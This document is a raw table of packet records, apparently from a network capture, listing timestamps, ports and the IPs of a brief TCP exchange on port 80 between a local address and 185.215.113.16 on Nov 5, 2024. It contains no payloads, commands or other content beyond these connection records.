Nov 5, 2024 20:52:09.478976965 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.479074001 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.479089022 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.479104042 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.479106903 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.479131937 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.479131937 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.479171038 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.479185104 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.479196072 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.479208946 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.479212999 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.479232073 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.479239941 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.479249954 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.479264975 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.479280949 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.479295015 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.479309082 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.479330063 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.479340076 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.479355097 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.479370117 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.479383945 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.479397058 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.479397058 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.479399920 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.479409933 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.479433060 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.479469061 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.479485035 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.479496002 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.479504108 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.479515076 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.479521036 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.479527950 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.479605913 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.479620934 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.479631901 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.479636908 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.479655027 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.479665041 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.479780912 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.479808092 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.479988098 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.480003119 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.480017900 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.480031967 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.480041027 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.480041027 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.480122089 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.480134964 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.480145931 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.480156898 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.480346918 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.480355024 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.480371952 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.480387926 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.480393887 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.480405092 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.480412006 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.480422974 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.480431080 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.482161999 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.510746002 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.510796070 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.510811090 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.510838985 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.510879993 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.510895014 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.510910988 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.510925055 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.510943890 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.511054993 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.511056900 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.511084080 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.511132002 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.511195898 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.511218071 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.511244059 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.511259079 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.511265039 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.511358023 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.511375904 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.511383057 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.511394024 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.511409998 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.511415958 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.511428118 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.511441946 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.511456966 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.511471033 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.511478901 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.511482954 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.511498928 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.511506081 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.511516094 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.511535883 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.511554956 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.511569977 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.511578083 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.511586905 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.511606932 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.511606932 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.511630058 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.511646032 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.511655092 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.511670113 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.511672974 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.511689901 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.511696100 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.511707067 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.511727095 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.511749983 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.511770010 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.511778116 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.511792898 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.511863947 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.511940002 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.511962891 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.512056112 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512070894 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512085915 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512100935 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512106895 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.512106895 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.512119055 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512134075 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512140989 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.512140989 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.512171030 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.512171030 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.512187004 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512207031 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512223005 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512228012 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.512300014 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512320995 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512326956 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.512336969 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512351990 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512356997 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.512368917 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512382984 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512388945 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.512407064 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512422085 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512427092 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.512512922 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512526989 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512532949 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.512542963 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512559891 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512562037 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.512595892 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512610912 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512618065 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.512626886 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512646914 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.512708902 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512723923 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512738943 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512744904 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.512803078 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512818098 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512826920 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.512835979 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512852907 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512857914 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.512974977 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.512993097 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.513000965 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.513016939 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.513036013 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.513053894 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.513067961 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.513084888 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.513091087 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.513113022 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.513128996 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.513134956 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.513286114 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.513307095 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.513314009 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.513324022 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.513345003 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.513370991 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.513386011 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.513400078 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.513408899 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.513418913 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.513422012 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.513459921 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.513459921 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.513465881 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.513525009 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.513540030 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.513549089 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.513556004 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.513572931 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.513576984 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.513601065 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.514858007 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.601166964 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.601182938 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.601201057 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.601258039 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.601258039 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.601305008 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.601319075 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.601351976 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.601357937 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.601357937 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.601408958 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.601438046 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.602103949 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.602128029 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.602143049 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.602150917 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.602168083 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.602286100 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.603259087 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.603286028 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.603301048 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.603374004 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.603389025 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.603390932 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.603420019 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.603476048 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.603512049 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.603545904 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.603559971 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.603622913 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.603638887 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.603643894 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.603688002 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.603703022 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.603709936 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.603718996 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.603734016 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.603744030 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.604043007 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.604510069 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.604547977 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.604563951 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.604598045 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.604635954 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.604640007 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.604655981 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.604670048 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.604686022 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.604697943 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.604707956 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.604727983 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.604727983 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.604779005 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.604794979 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.604809999 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.604825020 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.604830027 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.604851007 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.604851007 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.604871988 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.604872942 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.604913950 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.604913950 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.604924917 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.604944944 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.604964972 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.604969025 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.604984999 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.604996920 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605000019 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605015039 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605016947 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605035067 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605037928 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605056047 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605057001 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605073929 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605079889 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605092049 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605099916 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605114937 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605170012 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605181932 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605197906 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605212927 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605220079 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605228901 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605235100 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605251074 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605274916 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605290890 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605298996 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605307102 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605318069 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605323076 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605329037 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605340004 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605345011 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605365038 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605410099 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605426073 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605447054 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605448961 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605465889 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605473042 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605483055 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605498075 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605501890 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605523109 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605523109 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605556965 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605573893 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605581045 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605588913 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605616093 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605621099 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605638027 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605644941 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605654001 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605669975 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605679989 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605679989 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605684996 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605691910 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605704069 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605707884 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605720997 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605730057 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605762005 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605777025 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605784893 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605794907 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605817080 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605882883 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605897903 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605906010 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.605916023 CET	80	50011	185.215.113.16	192.168.2.6
